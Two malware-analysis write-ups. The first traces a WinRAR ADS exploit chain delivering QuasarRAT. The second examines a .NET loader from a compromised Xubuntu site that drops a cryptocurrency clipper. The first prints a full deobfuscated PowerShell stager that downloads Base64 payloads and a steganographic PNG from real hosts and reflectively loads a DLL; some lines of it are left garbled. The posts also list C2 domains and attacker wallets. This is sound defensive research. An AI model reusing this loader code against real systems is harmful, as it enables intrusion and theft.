I am currently analyzing the recent surge of malware samples exploiting the WinRAR vulnerability CVE-2025-6218. During this research, I found a new sample on abuse.ch which appears to be part of a small QuasarRAT malware campaign.

What is CVE-2025-6218? (Short summary for this analysis)

This vulnerability enables:

• Remote Code Execution (RCE)
• Manipulated NTFS Alternate Data Streams (ADS)
• Hidden paths / directory traversal / tampered extraction metadata

The exploit relies on:

• Specially crafted file headers
• Unexpected or malformed filename fields in the RAR block
• ADS payloads such as file.txt:evil.exe embedded inside the RAR structure
• WinRAR linking the ADS → extracting it → and executing the resulting file automatically

The SHA256 hash of the file is:

c67cc833d079aa60d662e2d5005b64340bb32f3b2f7d26e901ac0b1b33492f2f
You can download the file here.

After extracting the outer archive, we obtain another RAR file. Before unpacking it, we take a look at its contents in the hex view to check for anything suspicious.

xxd c67cc833d079aa60d662e2d5005b64340bb32f3b2f7d26e901ac0b1b33492f2f.rar| less

We can already see the suspicious ADS payload inside the RAR block.
With this confirmation, we proceed to extract the archive using 7-Zip.

After extraction, we obtain two files:

Coinme.py.txt
'Coinme.py.txt:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_0fyhds341.vbs'

The file Coin.me.py.txt contains a simple Python script that queries email addresses of coinme.com users.
You can find the script here.

Now we get to the interesting part — the file:

Coinme.py.txt:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_0fyhds341.vbs

It contains a short Visual Basic script:

The script downloads an HTML Application (HTA) file from a GitHub repository.
At the time of writing, both the repository and the user account have already been deleted. However, I uploaded a backup of the user’s repositories here.

Here is a screenshot of the repository and the associated profile:

Interestingly, the account only follows one inactive user with the Username “Levbohol / лев” :

Next, I inspected the verification.hta file that was downloaded from the repository.

The file contains a lightly obfuscated HTA script. I decoded the fromCharCode array into ASCII, resulting in the following code:

conhost.exe --headless cmd.exe /c powershell.exe -w h -ep bypass -c "
$t=Join-Path $env:TEMP 'svchost.bat'; 
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/Proscaution32/tessttxd312/refs/heads/main/ilovelovelove.txt' -OutFile $t -UseBasicParsing;
if(Test-Path $t){
    & conhost.exe --headless cmd.exe /c $t
}"

The script downloads yet another file named ilovelovelove.txt and executes it.
Let’s take a closer look at that text file.

We are now looking at a heavily obfuscated DOS batch file. The first things that stand out are numerous variable assignments using set ... and comments prefixed with the REM keyword.

The comments are merely junk intended to distract the analyst.
The variable assignments, however, are more complicated.

Some of the variables are never used anywhere in the script, these are clearly junk statements meant to confuse the reader.
Other variables are used during execution and must be isolated and replaced with their actual runtime values.
We also encounter various uninitialized variables, which are also junk, since they never carry a value.

Before proceeding, I remove all comments from the file.

sed -i '/^[Rr][Ee][Mm]/d' ilovelovelove.txt 

Next, I isolate all variables that can be identified as junk, meaning variables that are referenced but never assigned a value.

grep -oE '%[^%]+%' ilovelovelove.txt > isolated_set_commands.txt
while read -r line; 
  do x=$(echo "$line" | sed 's/%//g'); res="$(grep $x ilovelovelove.txt | wc -l)"
  if [ $res -lt 2 ]; 
    then echo "$line"; 
  fi
done < isolated_set_commands.txt >> removable.txt
rm isolated_set_commands.txt

I then remove all uninitialized variables from the script completely.

while read -r line; do sed -i "s|$line||g" ilovelovelove.txt; done < removable.txt 

The script is now much cleaner, but some junk variables still remain. These were not properly filtered out because they were detected as variable placeholders inside strings.
To handle this, we isolate them and remove any variable that does not have a corresponding set assignment.

I also found many Base64 strings in the script, but none of them appear to form recognizable structures at this point, so we ignore them for now.
Next, we replace every remaining variable with its assigned value.

For this purpose, I wrote a small helper script:

#!/bin/bash
grep -oE '%[^%]+%' ilovelovelove_copy.txt > usable.txt

while read -r line; do 
    fstr="$(echo $line | sed 's/%//g')"
    x=$(grep "set $fstr" ilovelovelove_copy.txt | wc -l)


    if [ $x -lt 1 ]; then
        sed -i "s|$line||g" ilovelovelove_copy.txt 
        continue
    fi

    value=$(grep "set $fstr" ilovelovelove_copy.txt | cut -d'=' -f2 )
    echo "$line $value"
    clean_line=$(echo -n "$line")
    clean_value=$(echo -n "$value")
    sed -i "s|$clean_line|$clean_value|g" ilovelovelove_copy.txt
done < usable.txt

After running the helper script, the cleaned batch script now looks like this:

After removing all ^M carriage returns, we obtain the following finalized version:

start conhost.exe --headless powershell.exe -ep bypass -w h -NoExit -c "
$Ab1CdE t-CimInstance -Namespace 'rootSecurityCenter2' -ClassName AntiVirusProduct -ErrorAction SilentlyContinue;
$fGh2IjK $false;

if ($Ab1CdE) {
    foreach ($Lm3NoP in $Ab1CdE) {
        $Qr4StU $Lm3NoP.displayName;

        if ($Qr4StU -like '*ESET Security*') {
            $Vw5XyZ 'https://files.catbox.moe/4q6yuz.txt';
            $Ab6CdE-Object System.Net.WebClient;;
            $Ab6CdE.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;
            $Ef7GhI b6CdE.DownloadString($Vw5XyZ);;
            $Ab6CdE.Dispose();;

            $u  ('From'+'Base64'+'String');
            $Ij8KlM System.Convert].GetMethod($u).Invoke($null, @([string]$Ef7GhI));
            $No9PqR System.Text.Encoding]::UTF8.GetString($Ij8KlM);

            Invoke-Expression $No9PqR;
            $fGh2IjK rue;
            break;
        };

        if ($Qr4StU -like '*Malwarebytes*' -or $Qr4StU -like '*F-Secure*') {
            $St0UvW https://files.catbox.moe/qt6070.txt';
            $Xy1ZaB ew-Object System.Net.WebClient;;
            $Xy1ZaB.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;
            $Cd2EfG $Xy1ZaB.DownloadString($St0UvW);;
            $Xy1ZaB.Dispose();;

            $u  'From'+'Base64'+'String');
            $Gh3IjK  [System.Convert].GetMethod($u).Invoke($null, @([string]$Cd2EfG));
            $Lm4NoP  [System.Text.Encoding]::UTF8.GetString($Gh3IjK);

            Invoke-Expression $Lm4NoP;
            $fGh2IjK $true;
            break;
        };
    };
};

Add-Type -AssemblyName System.Drawing, System.IO.Compression.FileSystem;;

$Qr5StU 'https://i.ibb.co.com/NfC1jKn/yu42mu5xn.png';;
$Vw6XyZ-Object System.Net.WebClient;;
$Vw6XyZ.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;

$Ab7CdE $Vw6XyZ.DownloadData($Qr5StU);;
$Vw6XyZ.Dispose();;

$Ef8GhI w-Object IO.MemoryStream(,$Ab7CdE);;
$Ij9KlM stem.Drawing.Bitmap]::FromStream($Ef8GhI);;

$No0PqR $Ij9KlM.GetPixel(0,0);;
$St1UvW $Ij9KlM.GetPixel(1,0);;

$size uint32]$No0PqR.R -shl 24) -bor ([uint32]$No0PqR.G -shl 16) -bor ([uint32]$No0PqR.B -shl 8) -bor [uint32]$St1UvW.R;

$Xy2ZaB w-Object System.Collections.Generic.List[byte];

for ($y; $y -lt $Ij9KlM.Height; $y++) {
    for ($x; $x -lt $Ij9KlM.Width; $x++) {
        if ( ($x -eq 0 -and $y -eq 0) -or ($x -eq 1 -and $y -eq 0) ) {
            continue;
        };

        $p 9KlM.GetPixel($x,$y);;

        $Xy2ZaB.Add($p.R);;
        $Xy2ZaB.Add($p.G);;
        $Xy2ZaB.Add($p.B);;
    };
};

$Ij9KlM.Dispose();;
$Ef8GhI.Dispose();;

$Cd3EfG $Xy2ZaB.ToArray()[0..($size-1)];;

$Gh4IjK w-Object IO.MemoryStream(,$Cd3EfG);;
$Lm5NoP w-Object IO.MemoryStream;;

$Qr6StU w-Object IO.Compression.GZipStream($Gh4IjK, );;
$Qr6StU.CopyTo($Lm5NoP);;

$Qr%MknH%.Dispose();;
$Gh4IjK.Dispose();;

$Vw7XyZ $Lm5NoP.ToArray();;
$Lm5NoP.Dispose();;

foreach ($Ab8CdE in [AppDomain]::CurrentDomain.GetAssemblies()) {
    if ($Ab8CdE.GlobalAssemblyCache -and $Ab8CdE.Location.Contains('mscor'+'lib.dll')) {
        foreach ($Ef9GhI in $Ab8CdE.GetType(('System.Reflection.Assembly')).GetMethods('Public,Static')) {
            if ($Ef9GhI.ToString()[37] -eq ']') {
                $Ij0KlM 9GhI.Invoke($null,(,$Vw7XyZ));;

                $No1PqR $Ij0KlM.EntryPoint;;
                $St2UvW $No1PqR.GetParameters().Count;;

                if ($St2UvW -eq 0) {
                    $No1PqR.Invoke($null,$null);
                } else {
                    $No1PqR.Invoke($null,(,@()));
                };

                break;
            };
        };

        break;
    };
}
"

Analysis – What does the script actually do?

1. Detection of installed antivirus products

The script queries root\SecurityCenter2 via WMI to identify installed antivirus solutions.
Depending on the detected product, it downloads different Base64-encoded payloads, decodes them, and executes them in memory using Invoke-Expression.

2. Downloading a hidden payload from a PNG file

Regardless of the antivirus result, the script then downloads a PNG image from a remote URL.
This PNG contains embedded binary data stored inside pixel values (steganography).

The script:

• reads each pixel,
• reconstructs byte arrays from RGB values,
• uses two pixels as payload length markers,
• extracts the payload portion,
• decompresses it via GZIP.

The result is a .NET assembly (DLL) extracted directly into memory.

3. Reflective loading of the DLL

The DLL is never written to disk. Instead, it is:

• loaded directly into memory,
• executed via .NET reflection,
• its entry point is invoked (with or without parameters).

This technique avoids leaving artifacts on disk and bypasses many detection mechanisms.

4. Execution of the final malware payload

The final payload, typically a stealer or remote-control module, runs fully in memory.

The PNG image

The PNG image looks like this:

(For security reasons, a watermark is embedded in the displayed version. You can download the original PNG here.)

To extract the payload from the image, we can use a small Python script (included in the GitHub repository).
This produces a file called stage2_payload.bin with the SHA256 hash d6775da94945ff5cbd26a1711f69cecdce981386983d2f504914630639563c36.

A quick VirusTotal scan provides additional details:

VirusTotal classifies the malware as Zusy (also known as Barys).
Zusy is an older but still active family of Windows malware. It has appeared for many years in small-scale campaigns and is typically used to steal credentials, browser information, or banking data. It is written in native C/C++, to confirm this i’ll take a look into the file with Ghidra.

When analyzing a binary in Ghidra, the presence of functions named .ctor or .cctor is a strong indicator that the file contains .NET managed code. These method names come directly from the Common Language Runtime (CLR) and follow the naming conventions defined by the ECMA-335 Common Language Infrastructure (CLI) specification.

This indicates that we are not dealing with a typical Zusy malware sample, as Zusy does not use .NET managed code in any part of its execution chain.

I also uploaded the file to abuse.ch, where it was classified as “QuasarRAT”. This classification makes sense, as QuasarRAT is a remote access trojan written entirely in .NET.

QuasarRAT is a well-known open-source Windows remote access tool that has been abused by cybercriminals for years. It provides features such as keylogging, credential theft, file management, remote command execution, and real-time system monitoring. Because it is written in .NET, it is frequently modified, repacked, or extended by threat actors, making it easy to customize and embed into multi-stage loaders.

It is also interesting to examine the domains contacted by the malware.

The malware first retrieves the host’s public IP address using ipwho.is, and then contacts its command-and-control (C2) server hosted on the domain:

ihatefaggots.cc

This should be considered as an additional IOC.

Yesterday I discovered a malware incident that was distributed via the official Xubuntu website.
There is already a Reddit post that largely corroborates the incident.

Today I’m going to take a closer look at that malware sample.
SHA256: ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.
The sample I analyzed is available on abuse.ch

(Tip for readers: always verify hashes from a trusted source before interacting with a sample.)

After downloading the sample I inspected its file metadata. This sample is not a native Win32 executable with x86 code, it is a .NET assembly. You can usually spot that with file or by looking for the CLR header (IMAGE_COR20) in the PE.

PE32 executable for MS Windows (GUI), Intel i386 Mono/.Net assembly

Concretely: the PE contains managed CIL/IL (Intermediate Language) and only a tiny native stub whose entry point calls _CorExeMain() (from mscoree.dll) to bootstrap the CLR. That means tools like Ghidra will show only a stub at the PE entry (the real logic lives in CLR metadata streams such as #~, #Strings and #Blob) and will not produce decompiled C# by default.

This pattern is typical for C#-based loader/dropper families. They often present a legitimate UI (in this case “SafeDownloader”) but hide malicious actions such as:

• anti-VM / anti-debug checks
• writing/extracting an encrypted payload to disk
• creating persistence via registry autostart entries

For analysis I use ILSpy to decompile the managed code, Ghidra only shows the PE boot stub; the real logic is in the managed metadata and IL.

I decompiled the sample using ILSpy (CLI) with:

~/.dotnet/tools/ilspycmd -o ./decomp_output ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.exe

Result:

ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.decompiled.cs

After decompilation we get the Decompiled C# files the code I used for analysis is available on my GitHub.

The program is a WPF GUI wrapper (SafeDownloader) that social-engineers the user by showing Ubuntu/Xubuntu ISO links. When the user clicks Generate, the app calls an internal routine (named W.UnPRslEqVw() in the decompiled code) that is the real malware routine executed in the background.

Malware behavior (detailed)

Anti-analysis & sandbox evasion.

The loader first performs anti-analysis checks:

• Debugger detection: Debugger.IsAttached and native IsDebuggerPresent() via kernel32.
• Virtualization detection: uses WMI (ManagementObjectSearcher) to query system manufacturer/model and looks for keywords such as VMware, VirtualBox, QEMU, Parallels, Microsoft Corporation (common in VM images).

If any probe indicates a debug/VM environment, the program calls Environment.Exit(0) and quits, preventing payload execution in sandboxes.

API patching / self-modification

Self-modification / in-memory API patching:

The code modifies bytes in loaded system libraries (e.g. kernel32.dll and ntdll.dll). One patch replaces instructions with 0xC3 (a RET) to neuter functions (for example to alter the behavior of Sleep/delay functions used by sandboxes).
Another patch wrtes attacker-supplied bytes (XOR-decrypted) into memory

This is effectively inline hooking / API patching and can alter the behavior of timing/registry functions or attempt to disable runtime hooks that monitoring software or AV products use.

Dropper

The loader drops a second-stage executable:

CreateDirectoryNative(text2);
WriteFileNative(text3, data);
MoveFileNative(text3, text4);
SetAttributesNative(..., attributes);

• creates a folder under %APPDATA% (via Environment.SpecialFolder.ApplicationData),
• writes a Base64-encoded blob (then XOR-decoded with key 0xF7) into a .tmp file,
• renames the .tmp to .exe, and sets file attributes (hidden/system) via native calls.

These helpers correspond to CreateDirectory, CreateFile/WriteFile, MoveFile, and attribute-setting wrappers in the code.

Registry persistence

SetRegistryPersistence(text4, regPath);

The sample writes an autostart entry into the registry using low-level APIs (NtSetValueKey from ntdll and RegOpenKeyEx from advapi32) to store a randomly generated value name with the path to the dropped EXE. Because it writes directly via native system calls (instead of higher-level wrappers), this may be an attempt to confuse or bypass some detection mechanisms that watch common API usage.

Execution & single-instance check

Before launching the dropped executable the loader checks whether a process with the same name is already running. If it is not, the loader starts the dropped binary, this avoids multiple simultaneous instances.

UI deception

The WPF UI displays legitimate Ubuntu download links to build trust. The user sees nothing suspicious while the loader writes the payload to disk, establishes persistence, and executes the dropped binary in the background.

Extracting and decoding the dropped payload

As we can see here, there is another Base64-encoded and XOR-obfuscated payload (XOR key = 247 / 0xF7) stored in the variable data:

I exported the Base64 blob to dropper_isolated.b64 and decoded + XOR-decoded it with:

python3 -c 'import base64; import sys; data = base64.b64decode(open("dropper_isolated.b64").read()); data = bytes([b ^ 0xF7 for b in data]); open("payload.bin","wb").write(data)'

The result payload.bin is a new PE native executable (x86 machine code), not a .NET assembly

I uploaded that binary to VirusTotal for a quick scan:

VirusTotal flags the payload as malicious and indicates that it is a cryptocurrency clipper, malware that monitors the Windows clipboard for crypto wallet addresses and replaces them with attacker-owned addresses so funds are redirected to the attacker’s wallet. With this classification we can pivot to a deeper static analysis (I used Ghidra for the native PE).

The native binary is small and relatively easy to analyze:

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a stronng indicator of clipper behavior.

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a strong indicator of clipper behavior.
I navigated to the function that implements these calls (named FUN_1400016b0 in my Ghidra session).

Clipboard routine overview.
The function reads the Windows clipboard:

• opens the clipboard and calls GetClipboardData(CF_TEXT),
• validates that the clipboard bytes are text and contain only characters typical for wallet addresses (alphanumeric, : or _)
• then performs prefix checks to identify the coin type.

Prefix checks & coin type mapping.
The malware performs a series of prefix checks to detect the wallet type. From the decompiled logic the mapping is:

Bitcoin:
(*pcVar4 - 0x31U & 0xfd) == 0 oder strncmp(pcVar4, &DAT_140004034, 3)` | (1 / 3...)

Litecoin:
strncmp(pcVar4, &DAT_14000402c, 4) oder (*pcVar4 + 0xb4U) < 2

ETH:
strncmp(pcVar4, &DAT_140004028, 2) → "0x"

DOGE:
cVar1 == 'D'

TRON:
cVar1 == 'T'

XRP:
cVar1 == 'r'

Where to find the addresses:

For each coin type the malware assembles the attacker’s address from two parts:

• several 32-bit constants (_DAT_140004100, _DAT_140004104, …)
  eight 4-byte words = 32 ASCII characters (little-endian dword representation)
• a short tail derived by XOR-ing bytes taken from another data blob (e.g. DAT_0x1400031c0) with 0x15
  The tail length varies (commonly 2–10 bytes depending on coin), and it completes the address (including checksum)

You can verify a single dword with Python:

python3 -c "import struct; print(struct.pack('<I', 0x71316362).decode('ascii'))"

The result:

bc1q

So the first dword decodes to bc1q, the signature prefix of a Bech32 Bitcoin address.

This is how i build the tail by merging the byte chunks:

The 32-character string obtained from the dwords is only the first part. The function then computes additional tail bytes by XOR-ing bytes from a separate data region (e.g. DAT_1400031c0) with 0x15 and appends them.
Those tail bytes complete the address (including checksum).
If you only decode the dwords, the address will fail checksum validation, you must XOR-decode and append the tail bytes to get a valid address.

Full address assembly (summary)
The malware writes eight 32-bit constants (32 ASCII chars) and then fills a small tail array with bytes computed as DAT_src[i] ^ 0x15 (tail length varies). The full address is dword_ascii + xor_tail.
It then GlobalAllocs a clipboard buffer and calls SetClipboardData(CF_TEXT, ...) to replace the clipboard contents.

To recover the tail bytes:

dump the bytes at the VA (e.g. 0x1400031c0) with a binary tool (I used radare2; you can also use Ghidra or xxd), for example:

76 78 25 2D 60 64 7D 23 25 63 

XOR each raw byte with 0x15 (the deobfuscation key embedded in the code). You can do this in CyberChef: From Hex -> XOR (key: 15 hex) -> To String.

Output:

cm08uqh60v

Appending that to the 32-char dword string yields the full Bech32 address:

bc1qrzh7d0yy8c3arqxc23twkjujxxax + cm08uqh60v = bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v

I applied the same method to other coin branches and extracted the following attacker addresses from the binary.

Extracted addresses:
I applied the same method to other coin branches and extracted the following attacker addresses from the binary:

• Bitcoin (Bech32): bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v
• Litecoin: LQ4B4aJqUH92BgtDseWxiCRn45Q8eHzTkH
• Ethereum / BSC style (hex): 0x10A8B2e2790879FFCdE514DdE615b4732312252D
• Dogecoin: DQzrwvUJTXBxAbYiynzACLntrY4i9mMs7D
• Tron (TRX): TW93HYbyptRYsXj1rkHWyVUpps2anK12hg
• XRP (Ripple): r9vQFVwRxSkpFavwA9HefPFkWaWBQxy4pU
• Cardano: addr1q9atfml5cew4hx0z09xu7mj7fazv445z4xyr5gtqh6c9p4r6knhlf3jatwv7y72deah9un6yettg92vg8gskp04s2r2qren6tw

These are the final wallet addresses embedded in this sample (per the static reconstruction). I didn’t find any additional interesting functionality in the binary beyond the dropper/clipper behavior.

TL;DR

I found a C# WPF loader distributed via an Xubuntu download page that drops a native clipper payload.
The loader includes anti-VM and anti-debug checks, in-memory API patching, drops and runs a second-stage PE, and the second stage is a clipboard clipper that replaces wallet addresses with attacker-owned addresses.
I statically reconstructed the attacker wallets from embedded dwords + XOR tails and found several addresses for BTC, LTC, ETH, DOGE, TRX, XRP and Cardano. No transactions were observed at the time of analysis.

A short critique; why the threat actor did a surprisingly poor job despite compromising xubuntu.org

It’s striking how many basic operational security and quality of work mistakes this actor made, mistakes that turned what could have been a high-impact supply-chain compromise into a relatively easy forensic win for analysts.

Concrete failures observed

• Amateur packaging: shipping a ZIP that claims to contain a torrent but actually contains an .exe and a tos.txt is a glaring red flag. That mismatched user experience (and the presence of an executable in a “torrent” download) makes the payload obvious to even casual users and automated scanners.
• Sloppy metadata: the tos.txt claims “© 2026 Xubuntu.org” while it’s 2025. Small details like anachronistic timestamps or incorrect copyright years are low-effort giveaways that something is off.
• Poor obfuscation / easy static recovery: the attacker embedded wallet strings as readable dwords plus simple XOR tails. Those artifacts were trivially reconstructable with basic tooling (radare2/CyberChef/Python). Even the XOR keyss were visible in the decompiled code. That means the malicious addresses, the primary goal of the clipper were recoverable without dynamic execution.
• Malformed or inconsistent artifacts: some extracted addresses failed checksum validation (or appeared intentionally malformed). That suggests rushed assembly, faulty encoding, or placeholders left in again lowering the bar for detection and denying the attacker guaranteed success.
• Over-reliance on a single trick: using a compromised site to host a ZIP is effective in general, but the actor did not sufficiently hide operational traces nor build fallback delivery strategies. When defenders inspected the file, the entire chain unraveled quickly.

Why these mistakes matter

• They reduced the attacker’s window of opportunity. Instead of a stealthy supply-chain drop that could reap long-lived infections, the compromise was noisy and trivially triaged.
• They made attribution and indicator extraction easy: embedded addresses, simple XOR keys, and clear code paths gave analysts immediate IoCs (wallets, hashes, strings).
• They increased the chances of swift remediation by the vendor and faster takedown by infrastructure providers.

Final thought
The actor clearly reached a valuable target, the official download infrastructure, but their execution quality was low. That combination (high opportunity + poor tradecraft) is exactly what defenders want: an incident with high signal and relatively low analytical cost. The silver lining here is that sloppy attackers give security teams the evidence they need to respond quickly and to harden distribution chains for the future.